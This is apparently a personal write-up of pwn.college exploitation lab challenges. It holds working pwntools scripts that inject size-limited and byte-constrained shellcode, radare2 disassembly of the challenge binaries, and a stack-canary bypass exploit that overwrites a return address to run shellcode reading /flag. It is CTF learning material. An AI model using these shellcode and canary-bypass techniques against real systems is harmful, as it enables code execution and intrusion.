0x000000002e692013 | cc                                            | int3
0x000000002e692014 | 47 04 2f                                      | add al, 0x2f

Executing shellcode!

[*] Got EOF while reading in interactive
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/clobbercode"

payload_asm = """
.intel_syntax noprefix

xor eax, eax
push rax
mov eax, 0x67616c66
jmp b2

.rept 10
nop
.endr

b2:
shl rax, 8
mov al, 0x2f
nop
nop
jmp b3

.rept 10
nop
.endr

b3:
push rax
push rsp
pop rdi
push 4
pop rsi
nop
nop
jmp b4

.rept 10
nop
.endr

b4:
push 90
pop rax
syscall
"""

payload = asm(payload_asm)
log.info(f"Generated Payload Size: {len(payload)} bytes")

p = process(target_binary)
p.send(payload)
p.wait()

import os
os.system("cat /flag")
pwn.college{QOtrCvTfAfczjbdUxqvPYGKqWTY.0VNyIDL4cjM1gzW}

Diverse Delivery

Write and execute shellcode to read the flag, but every byte in your input must be unique.

1
2
3
4
5
6
7
8
9
10
11
12
hacker@program-security~diverse-delivery:~$ /challenge/diverse-delivery ###
### Welcome to /challenge/diverse-delivery!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x237a3000!
Reading 0x1000 bytes from stdin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/diverse-delivery"

# 20 bytes of pure unique perfection
payload_asm = """
.intel_syntax noprefix
    movabs rbx, 0x02010067616c662f
    push rbx
    push rsp
    pop rdi
    push 0x3f
    pop rsi
    mov al, 90
    syscall
"""

payload = asm(payload_asm)

unique_bytes = set(payload)

p = process(target_binary)
p.send(payload)
p.wait()

import os
os.system("cat /flag")
pwn.college{k-QnO4vkMzyh_61th5kjPIrt_UL.0FOyIDL4cjM1gzW}

Pocket Payload

Write and execute shellcode to read the flag, but this time you only get 12 bytes!

1
2
3
4
5
6
7
8
9
10
11
12
hacker@program-security~pocket-payload:~$ /challenge/pocket-payload
###
### Welcome to /challenge/pocket-payload!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x19902000!
Reading 0xc bytes from stdin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
from pwn import *
import os

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/pocket-payload"

payload_asm = """
.intel_syntax noprefix
    push rdx
    pop rdi
    push 0x3f
    pop rsi
    mov al, 90
    syscall
"""

payload = asm(payload_asm).ljust(12, b"\x90")

log.info(f"Payload (also our symlink name): {payload}")

try:
    os.remove(payload)
except OSError:
    pass

os.symlink(b"/flag", payload)

p = process(target_binary)
p.send(payload)

p.wait()

os.system("cat /flag")

Micro Menace

Write and execute shellcode to read the flag, but this time you only get 6 bytes :)

1
2
3
4
5
6
7
8
9
10
11
12
hacker@program-security~micro-menace:~$ /challenge/micro-menace
###
### Welcome to /challenge/micro-menace!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x19f00000!
Reading 0x6 bytes from stdin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
            ; ICOD XREF from entry0 @ 0x1221(r)
┌ 655: int main (int argc, char **argv, char **envp);
│ `- args(rdi, rsi, rdx) vars(6:sp[0x10..0x40])
│           0x00001547      f30f1efa       endbr64
│           0x0000154b      55             push rbp
│           0x0000154c      4889e5         mov rbp, rsp
│           0x0000154f      4883ec40       sub rsp, 0x40
│           0x00001553      897ddc         mov dword [var_24h], edi    ; argc
│           0x00001556      488975d0       mov qword [var_30h], rsi    ; argv
│           0x0000155a      488955c8       mov qword [var_38h], rdx    ; envp
│           0x0000155e      488b05bb2a..   mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5
│                                                                      ; [0x4020:8]=0
│           0x00001565      b900000000     mov ecx, 0                  ; size_t size
│           0x0000156a      ba02000000     mov edx, 2                  ; int mode
│           0x0000156f      be00000000     mov esi, 0                  ; char *buf
│           0x00001574      4889c7         mov rdi, rax                ; FILE*stream
│           0x00001577      e854fcffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x0000157c      488b058d2a..   mov rax, qword [obj.stdout] ; obj.__TMC_END__
│                                                                      ; [0x4010:8]=0
│           0x00001583      b900000000     mov ecx, 0                  ; size_t size
│           0x00001588      ba02000000     mov edx, 2                  ; int mode
│           0x0000158d      be00000000     mov esi, 0                  ; char *buf
│           0x00001592      4889c7         mov rdi, rax                ; FILE*stream
│           0x00001595      e836fcffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x0000159a      488d3d240c..   lea rdi, [0x000021c5]       ; "###" ; const char *s
│           0x000015a1      e88afbffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000015a6      488b45d0       mov rax, qword [var_30h]
│           0x000015aa      488b00         mov rax, qword [rax]
│           0x000015ad      4889c6         mov rsi, rax
│           0x000015b0      488d3d120c..   lea rdi, str._Welcome_to__s__n ; 0x21c9 ; "### Welcome to %s!\n" ; const char *format
│           0x000015b7      b800000000     mov eax, 0
│           0x000015bc      e8affbffff     call sym.imp.printf         ; int printf(const char *format)
│           0x000015c1      488d3dfd0b..   lea rdi, [0x000021c5]       ; "###" ; const char *s
│           0x000015c8      e863fbffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000015cd      bf0a000000     mov edi, 0xa                ; int c
│           0x000015d2      e849fbffff     call sym.imp.putchar        ; int putchar(int c)
│           0x000015d7      488d3d020c..   lea rdi, str.This_challenge_reads_in_some_bytes__modifies_them__depending_on_the_specific_challenge_configuration___and_executes_them ; 0x21e0 ; "This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them" ; const char *s
│           0x000015de      e84dfbffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000015e3      488d3d760c..   lea rdi, str.as_code__This_is_a_common_exploitation_scenario__called__code_injection_._Through_this_series_of_challenges__you_will ; 0x2260 ; "as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will" ; const char *s
│           0x000015ea      e841fbffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000015ef      488d3de20c..   lea rdi, str.practice_your_shellcode_writing_skills_under_various_constraints__To_ensure_that_you_are_shellcoding__rather_than_doing ; 0x22d8 ; "practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing" ; const char *s
│           0x000015f6      e835fbffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000015fb      488d3d4e0d..   lea rdi, str.other_tricks__this_will_sanitize_all_environment_variables_and_arguments_and_close_all_file_descriptors___2._n ; 0x2350 ; "other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n" ; const char *s
│           0x00001602      e829fbffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00001607      c745ec0300..   mov dword [fildes], 3
│       ┌─< 0x0000160e      eb0e           jmp 0x161e
│       │   ; CODE XREF from main @ 0x1625(x)
│      ┌──> 0x00001610      8b45ec         mov eax, dword [fildes]
│      ╎│   0x00001613      89c7           mov edi, eax                ; int fildes
│      ╎│   0x00001615      e886fbffff     call sym.imp.close          ; int close(int fildes)
│      ╎│   0x0000161a      8345ec01       add dword [fildes], 1
│      ╎│   ; CODE XREF from main @ 0x160e(x)
│      ╎└─> 0x0000161e      817dec0f27..   cmp dword [fildes], 0x270f  ; '\x0f\''
│      └──< 0x00001625      7ee9           jle 0x1610
│           0x00001627      488b45d0       mov rax, qword [var_30h]
│           0x0000162b      488945f0       mov qword [s], rax
│       ┌─< 0x0000162f      eb2b           jmp 0x165c
│       │   ; CODE XREF from main @ 0x1666(x)
│      ┌──> 0x00001631      488b45f0       mov rax, qword [s]
│      ╎│   0x00001635      488b00         mov rax, qword [rax]
│      ╎│   0x00001638      4889c7         mov rdi, rax                ; const char *s
│      ╎│   0x0000163b      e810fbffff     call sym.imp.strlen         ; size_t strlen(const char *s)
│      ╎│   0x00001640      4889c2         mov rdx, rax                ; size_t n
│      ╎│   0x00001643      488b45f0       mov rax, qword [s]
│      ╎│   0x00001647      488b00         mov rax, qword [rax]
│      ╎│   0x0000164a      be00000000     mov esi, 0                  ; int c
│      ╎│   0x0000164f      4889c7         mov rdi, rax                ; void *s
│      ╎│   0x00001652      e839fbffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
│      ╎│   0x00001657      488345f008     add qword [s], 8
│      ╎│   ; CODE XREF from main @ 0x162f(x)
│      ╎└─> 0x0000165c      488b45f0       mov rax, qword [s]
│      ╎    0x00001660      488b00         mov rax, qword [rax]
│      ╎    0x00001663      4885c0         test rax, rax
│      └──< 0x00001666      75c9           jne 0x1631
│           0x00001668      488b45c8       mov rax, qword [var_38h]
│           0x0000166c      488945f8       mov qword [var_8h], rax
│       ┌─< 0x00001670      eb2b           jmp 0x169d
│       │   ; CODE XREF from main @ 0x16a7(x)
│      ┌──> 0x00001672      488b45f8       mov rax, qword [var_8h]
│      ╎│   0x00001676      488b00         mov rax, qword [rax]
│      ╎│   0x00001679      4889c7         mov rdi, rax                ; const char *s
│      ╎│   0x0000167c      e8cffaffff     call sym.imp.strlen         ; size_t strlen(const char *s)
│      ╎│   0x00001681      4889c2         mov rdx, rax                ; size_t n
│      ╎│   0x00001684      488b45f8       mov rax, qword [var_8h]
│      ╎│   0x00001688      488b00         mov rax, qword [rax]
│      ╎│   0x0000168b      be00000000     mov esi, 0                  ; int c
│      ╎│   0x00001690      4889c7         mov rdi, rax                ; void *s
│      ╎│   0x00001693      e8f8faffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
│      ╎│   0x00001698      488345f808     add qword [var_8h], 8
│      ╎│   ; CODE XREF from main @ 0x1670(x)
│      ╎└─> 0x0000169d      488b45f8       mov rax, qword [var_8h]
│      ╎    0x000016a1      488b00         mov rax, qword [rax]
│      ╎    0x000016a4      4885c0         test rax, rax
│      └──< 0x000016a7      75c9           jne 0x1672
│           0x000016a9      41b900000000   mov r9d, 0                  ; size_t offset
│           0x000016af      41b800000000   mov r8d, 0                  ; int fd
│           0x000016b5      b922000000     mov ecx, 0x22               ; '\"' ; int flags
│           0x000016ba      ba07000000     mov edx, 7                  ; int prot
│           0x000016bf      be00100000     mov esi, sym._init          ; 0x1000 ; size_t length
│           0x000016c4      bf0000f019     mov edi, 0x19f00000         ; void*addr
│           0x000016c9      e892faffff     call sym.imp.mmap           ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│           0x000016ce      4889056329..   mov qword [obj.shellcode], rax ; [0x4038:8]=0
│           0x000016d5      488b055c29..   mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│           0x000016dc      483d0000f019   cmp rax, 0x19f00000
│       ┌─< 0x000016e2      741f           je 0x1703
│       │   0x000016e4      488d0dde0d..   lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x24c9 ; "main" ; const char *function
│       │   0x000016eb      ba62000000     mov edx, 0x62               ; 'b' ; unsigned int line
│       │   0x000016f0      488d35c90c..   lea rsi, str._challenge_babyshell_level_14.c ; 0x23c0 ; "/challenge/babyshell-level-14.c" ; const char *file
│       │   0x000016f7      488d3de20c..   lea rdi, str.shellcode___void__0x19f00000 ; str.shellcode___void__0x19f00000
│       │                                                              ; 0x23e0 ; "shellcode == (void *)0x19f00000" ; const char *assertion
│       │   0x000016fe      e87dfaffff     call sym.imp.__assert_fail  ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│       │   ; CODE XREF from main @ 0x16e2(x)
│       └─> 0x00001703      488b052e29..   mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│           0x0000170a      4889c6         mov rsi, rax
│           0x0000170d      488d3dec0c..   lea rdi, str.Mapped_0x1000_bytes_for_shellcode_at__p__n ; str.Mapped_0x1000_bytes_for_shellcode_at__p__n
│                                                                      ; 0x2400 ; "Mapped 0x1000 bytes for shellcode at %p!\n" ; const char *format
│           0x00001714      b800000000     mov eax, 0
│           0x00001719      e852faffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0000171e      488d3d0b0d..   lea rdi, str.Reading_0x6_bytes_from_stdin._n ; str.Reading_0x6_bytes_from_stdin._n
│                                                                      ; 0x2430 ; "Reading 0x6 bytes from stdin.\n" ; const char *s
│           0x00001725      e806faffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0000172a      488b050729..   mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│           0x00001731      ba06000000     mov edx, 6                  ; size_t nbyte
│           0x00001736      4889c6         mov rsi, rax                ; void *buf
│           0x00001739      bf00000000     mov edi, 0                  ; int fildes
│           0x0000173e      e86dfaffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x00001743      488905e628..   mov qword [obj.shellcode_size], rax ; [0x4030:8]=0
│           0x0000174a      488b05df28..   mov rax, qword [obj.shellcode_size] ; [0x4030:8]=0
│           0x00001751      4885c0         test rax, rax
│       ┌─< 0x00001754      751f           jne 0x1775
│       │   0x00001756      488d0d6c0d..   lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x24c9 ; "main" ; const char *function
│       │   0x0000175d      ba67000000     mov edx, 0x67               ; 'g' ; unsigned int line
│       │   0x00001762      488d35570c..   lea rsi, str._challenge_babyshell_level_14.c ; 0x23c0 ; "/challenge/babyshell-level-14.c" ; const char *file
│       │   0x00001769      488d3ddf0c..   lea rdi, str.shellcode_size___0 ; 0x244f ; "shellcode_size > 0" ; const char *assertion
│       │   0x00001770      e80bfaffff     call sym.imp.__assert_fail  ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│       │   ; CODE XREF from main @ 0x1754(x)
│       └─> 0x00001775      488d3dec0c..   lea rdi, str.This_challenge_is_about_to_execute_the_following_shellcode:_n ; 0x2468 ; "This challenge is about to execute the following shellcode:\n" ; const char *s
│           0x0000177c      e8aff9ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00001781      488b15a828..   mov rdx, qword [obj.shellcode_size] ; [0x4030:8]=0
│           0x00001788      488b05a928..   mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│           0x0000178f      4889d6         mov rsi, rdx                ; int64_t arg2
│           0x00001792      4889c7         mov rdi, rax                ; int64_t arg1
│           0x00001795      e84ffbffff     call sym.print_disassembly
│           0x0000179a      488d3d040d..   lea rdi, [0x000024a5]       ; const char *s
│           0x000017a1      e88af9ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000017a6      488d3df90c..   lea rdi, str.Executing_shellcode__n ; 0x24a6 ; "Executing shellcode!\n" ; const char *s
│           0x000017ad      e87ef9ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000017b2      488b057f28..   mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│           0x000017b9      4889c2         mov rdx, rax
│           0x000017bc      b800000000     mov eax, 0
│           0x000017c1      ffd2           call rdx
│           0x000017c3      488d3df20c..   lea rdi, str._Goodbye_      ; 0x24bc ; "### Goodbye!" ; const char *s
│           0x000017ca      e861f9ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000017cf      b800000000     mov eax, 0
│           0x000017d4      c9             leave
└           0x000017d5      c3             ret

Solution: Two-stage shellcode

Stage 1 (6 bytes) 用 sys_read 把 Stage 2 读到可执行内存中：

1
2
3
4
5
6
.intel_syntax noprefix
    push rax   /* rax 进入 shellcode 时是 0，入栈 */
    pop rdi    /* rdi = 0 (stdin 的 fd) */
    push rdx   /* rdx 存着当前 shellcode 的内存基址 0x19f00000 */
    pop rsi    /* rsi = 0x19f00000 (我们要把新代码读到这块可执行内存里) */
    syscall    /* 触发系统调用 因为 rax 是 0，执行 sys_read */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
import itertools
from pwn import *
import os

context.update(arch="amd64", os="linux")
context.log_level = "error"

target_binary = "/challenge/micro-menace"

stage ="""
.intel_syntax noprefix
    push rax
    pop rdi
    push rdx
    pop rsi
    syscall
"""

payload = asm(stage)

p = process(target_binary)
p.send(payload)

time.sleep(0.1)

# sys_read 从 0x19f00000 这个起始地址开始写入 Stage 2 数据, add 6 nop to cover the stage 1 data
stage2 = asm("nop;" * 6 + shellcraft.cat("/flag"))
p.send(stage2)

p.interactive()

Posted on Edited on In Disqus:

Canary Conundrum (Easy)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
hacker@program-security~canary-conundrum-easy:~$ /challenge/canary-conundrum-easy
NX bit is disabled

We have disabled the following standard memory corruption mitigations for this challenge:
- the stack is executable. This means that if the stack contains shellcode
and you overwrite the return address with the address of that shellcode, it will execute.

Payload size: 1
# ...
Send your payload (up to 1 bytes)!
1
You sent 1 bytes!
# ...
The program's memory status:
- the input buffer starts at 0x7ffda7bc3890
- the saved frame pointer (of main) is at 0x7ffda7bc3920
- the saved return address (previously to main) is at 0x7ffda7bc3928
- the saved return address is now pointing to 0x570e55560bfd.
- the canary is stored at 0x7ffda7bc3918.
- the canary value is now 0x4991921470004300.

You said: 1
# backdoor triggers a recursive challenge() call with the same canary

Offsets: buf -> canary = 136, buf -> ret = 152

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
hacker@program-security~canary-conundrum-easy:~$ r2 -A -q -c "pdf @ sym.challenge" /challenge/canary-conundrum-easy
┌ 1296: sym.challenge (char **arg1, char **arg2, int64_t arg3);
# ...
│           0x00001935      488b9560ff..   mov rdx, qword [nbyte]      ; size_t nbyte
│           0x0000193c      488b8568ff..   mov rax, qword [buf]
│           0x00001943      4889c6         mov rsi, rax                ; void *buf
│           0x00001946      bf00000000     mov edi, 0                  ; int fildes
│           0x0000194b      e8f0f7ffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
# read syscall buffer overflow
# ...
│           0x00001991      89c6           mov esi, eax
│           0x00001993      488d3d5a0c..   lea rdi, str.You_sent__d_bytes__n ; 0x25f4 ; "You sent %d bytes!\n" ; const char *format
│           0x0000199a      b800000000     mov eax, 0
│           0x0000199f      e88cf7ffff     call sym.imp.printf         ; int printf(const char *format)
# ...
│           0x00001a7d      bf0a000000     mov edi, 0xa                ; int c
│           0x00001a82      e869f6ffff     call sym.imp.putchar        ; int putchar(int c)
│           0x00001a87      488b8568ff..   mov rax, qword [buf]
│           0x00001a8e      4889c6         mov rsi, rax
│           0x00001a91      488d3dc70c..   lea rdi, str.You_said:__s_n ; 0x275f ; "You said: %s\n" ; const char *format
│           0x00001a98      b800000000     mov eax, 0
│           0x00001a9d      e88ef6ffff     call sym.imp.printf         ; int printf(const char *format)
│           0x00001aa2      488d3dc70c..   lea rdi, str.This_challenge_has_a_trick_hidden_in_its_code._Reverse_engineer_the_binary_right_after_this_puts__ ; 0x2770 ; "This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()" ; const char *s
│           0x00001aa9      e862f6ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00001aae      488d3d230d..   lea rdi, str.call_to_see_the_hidden_backdoor_ ; 0x27d8 ; "call to see the hidden backdoor!" ; const char *s
│           0x00001ab5      e856f6ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00001aba      488b8568ff..   mov rax, qword [buf]
# REPEAT syscall strstr
│           0x00001ac1      488d35310d..   lea rsi, str.REPEAT         ; 0x27f9 ; "REPEAT" ; const char *s2
│           0x00001ac8      4889c7         mov rdi, rax                ; const char *s1
│           0x00001acb      e8c0f6ffff     call sym.imp.strstr         ; char *strstr(const char *s1, const char *s2)
│           0x00001ad0      4885c0         test rax, rax
│       ┌─< 0x00001ad3      742c           je 0x1b01
│       │   0x00001ad5      488d3d240d..   lea rdi, str.Backdoor_triggered__Repeating_challenge__ ; 0x2800 ; "Backdoor triggered! Repeating challenge()" ; const char *s
│       │   0x00001adc      e82ff6ffff     call sym.imp.puts           ; int puts(const char *s)
│       │   0x00001ae1      488b9538ff..   mov rdx, qword [var_c8h]    ; int64_t arg3
│       │   0x00001ae8      488b8d40ff..   mov rcx, qword [var_c0h]
│       │   0x00001aef      8b854cffffff   mov eax, dword [var_b4h]
│       │   0x00001af5      4889ce         mov rsi, rcx                ; int64_t arg2
│       │   0x00001af8      89c7           mov edi, eax                ; int64_t arg1
# recursive call have same canary
│       │   0x00001afa      e819fbffff     call sym.challenge
│      ┌──< 0x00001aff      eb11           jmp 0x1b12
│      ││   ; CODE XREF from sym.challenge @ 0x1ad3(x)
│      │└─> 0x00001b01      488d3d220d..   lea rdi, str.Goodbye_       ; 0x282a ; "Goodbye!" ; const char *s
│      │    0x00001b08      e803f6ffff     call sym.imp.puts           ; int puts(const char *s)
│      │    0x00001b0d      b800000000     mov eax, 0
│      │    ; CODE XREF from sym.challenge @ 0x1aff(x)
│      └──> 0x00001b12      488b4df8       mov rcx, qword [canary]
│           0x00001b16      6448330c25..   xor rcx, qword fs:[0x28]
│       ┌─< 0x00001b1f      7405           je 0x1b26
│       │   0x00001b21      e8faf5ffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       │   ; CODE XREF from sym.challenge @ 0x1b1f(x)
│       └─> 0x00001b26      c9             leave
└           0x00001b27      c3             ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
import re
from pwn import *

context.arch = "amd64"
context.log_level = "info"

def exploit():
    p = process("/challenge/canary-conundrum-easy")

    # === Phase 1 ===
    p.sendlineafter(b"Payload size:", b"6")
    p.sendafter(b"!\n", b"REPEAT")

    out1 = p.recvuntil(b"You said:").decode()
    buf1 = int(re.search(r"buffer starts at (0x[0-9a-f]+)", out1).group(1), 16)
    canary = int(re.search(r"canary value is now (0x[0-9a-f]+)", out1).group(1), 16)

    log.info(f"[*] 全局 Canary: {hex(canary)}")
    log.info(f"[*] 第一层栈基址 (Buf1): {hex(buf1)}")

    # === Phase 2: 计算偏移 ===
    p.sendlineafter(b"Payload size:", b"6")
    p.sendafter(b"!\n", b"REPEAT")

    out2 = p.recvuntil(b"You said:").decode()
    buf2 = int(re.search(r"buffer starts at (0x[0-9a-f]+)", out2).group(1), 16)

    # 栈是向下生长的，计算栈帧大小
    frame_size = buf1 - buf2
    log.info(f"[*] 栈帧偏移 (Frame Size): {hex(frame_size)}")

    # 预测第三次递归
    buf3 = buf2 - frame_size
    log.info(f"[*] 第三层栈基址 (Buf3): {hex(buf3)}")

    # === Phase 3: Payload ===
    shellcode = asm(shellcraft.cat("/flag"))

    # 152 bytes (buf to ret) + 8 bytes (RIP overwrite)
    payload_len = 160
    p.sendlineafter(b"Payload size:", str(payload_len).encode())

    payload = shellcode
    payload = payload.ljust(136, b"\x90")  # 填充至 Canary
    payload += p64(canary)                 # 注入正确的 Canary (绕过检测)
    payload += b"B" * 8                    # 填充 Dummy RBP
    payload += p64(buf3)                   # 覆盖返回地址到 Shellcode

    p.sendafter(b"!\n", payload)
    p.interactive()

if __name__ == "__main__":
    exploit()
# pwn.college{******************************************}

Canary Conundrum (Hard)

1
2
3
4
5
6
7
8
9
10
11
hacker@program-security~canary-conundrum-hard:~$ /challenge/canary-conundrum-hard
###
### Welcome to /challenge/canary-conundrum-hard!
###

Payload size: 1
Send your payload (up to 1 bytes)!
1
You said: 1
Goodbye!
### Goodbye!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# buf = rbp - 0x70
            0x000018d8      488d4590       lea rax, [rbp - 0x70]
            0x000018dc      48894588       mov qword [rbp - 0x78], rax
            0x000018e0      48c7458000..   mov qword [rbp - 0x80], 0
            0x000018e8      488d3d1907..   lea rdi, str.Payload_size:    ; 0x2008 ; "Payload size: "
            0x000018ef      b800000000     mov eax, 0
            0x000018f4      e837f8ffff     call sym.imp.printf         ;[1]
            0x000018f9      488d4580       lea rax, [rbp - 0x80]
            0x000018fd      4889c6         mov rsi, rax
            0x00001900      488d3d1007..   lea rdi, [0x00002017]       ; "%lu"
            0x00001907      b800000000     mov eax, 0
            0x0000190c      e84ff8ffff     call sym.imp.__isoc99_scanf ;[2]
            0x00001911      488b4580       mov rax, qword [rbp - 0x80]
            0x00001915      4889c6         mov rsi, rax
            0x00001918      488d3d0107..   lea rdi, str.Send_your_payload__up_to__lu_bytes___n    ; 0x2020 ; "Send your payload (up to %lu bytes)!\n"
            0x0000191f      b800000000     mov eax, 0
            0x00001924      e807f8ffff     call sym.imp.printf         ;[1]
            0x00001929      488b5580       mov rdx, qword [rbp - 0x80]
            0x0000192d      488b4588       mov rax, qword [rbp - 0x78]
            0x00001931      4889c6         mov rsi, rax
            0x00001934      bf00000000     mov edi, 0
            0x00001939      e802f8ffff     call sym.imp.read           ;[3]
            0x0000193e      89857cffffff   mov dword [rbp - 0x84], eax
            0x00001944      83bd7cffff..   cmp dword [rbp - 0x84], 0
        ┌─< 0x0000194b      792c           jns 0x1979
        │   0x0000194d      e8aef7ffff     call sym.imp.__errno_location ;[4]
        │   0x00001952      8b00           mov eax, dword [rax]
        │   0x00001954      89c7           mov edi, eax
        │   0x00001956      e825f8ffff     call sym.imp.strerror       ;[5]
        │   0x0000195b      4889c6         mov rsi, rax
        │   0x0000195e      488d3de306..   lea rdi, str.ERROR:_Failed_to_read_input_____s__n    ; 0x2048 ; "ERROR: Failed to read input -- %s!\n"
        │   0x00001965      b800000000     mov eax, 0
        │   0x0000196a      e8c1f7ffff     call sym.imp.printf         ;[1]
        │   0x0000196f      bf01000000     mov edi, 1
        │   0x00001974      e8f7f7ffff     call sym.imp.exit           ;[6]
        └─> 0x00001979      488b4588       mov rax, qword [rbp - 0x78]
            0x0000197d      4889c6         mov rsi, rax
            0x00001980      488d3de506..   lea rdi, str.You_said:__s_n    ; 0x206c ; "You said: %s\n"
            0x00001987      b800000000     mov eax, 0
            0x0000198c      e89ff7ffff     call sym.imp.printf         ;[1]
            0x00001991      488b4588       mov rax, qword [rbp - 0x78]
            0x00001995      488d35de06..   lea rsi, str.REPEAT         ; 0x207a ; "REPEAT"
            0x0000199c      4889c7         mov rdi, rax
# backdoor
            0x0000199f      e8ecf7ffff     call sym.imp.strstr         ;[7]
            0x000019a4      4885c0         test rax, rax
        ┌─< 0x000019a7      742c           je 0x19d5
        │   0x000019a9      488d3dd806..   lea rdi, str.Backdoor_triggered__Repeating_challenge__    ; 0x2088 ; "Backdoor triggered! Repeating challenge()"
        │   0x000019b0      e85bf7ffff     call sym.imp.puts           ;[8]
        │   0x000019b5      488b9558ff..   mov rdx, qword [rbp - 0xa8]
        │   0x000019bc      488b8d60ff..   mov rcx, qword [rbp - 0xa0]
        │   0x000019c3      8b856cffffff   mov eax, dword [rbp - 0x94]
        │   0x000019c9      4889ce         mov rsi, rcx
        │   0x000019cc      89c7           mov edi, eax
        │   0x000019ce      e86efeffff     call 0x1841                 ;[9]
       ┌──< 0x000019d3      eb11           jmp 0x19e6
       │└─> 0x000019d5      488d3dd606..   lea rdi, str.Goodbye_       ; 0x20b2 ; "Goodbye!"
       │    0x000019dc      e82ff7ffff     call sym.imp.puts           ;[?]
       │    0x000019e1      b800000000     mov eax, 0
       └──> 0x000019e6      488b4df8       mov rcx, qword [rbp - 8]
            0x000019ea      6448330c25..   xor rcx, qword fs:[0x28]
        ┌─< 0x000019f3      7405           je 0x19fa
        │   0x000019f5      e826f7ffff     call sym.imp.__stack_chk_fail ;[?]
        └─> 0x000019fa      c9             leave
            0x000019fb      c3             ret
            ;-- main:
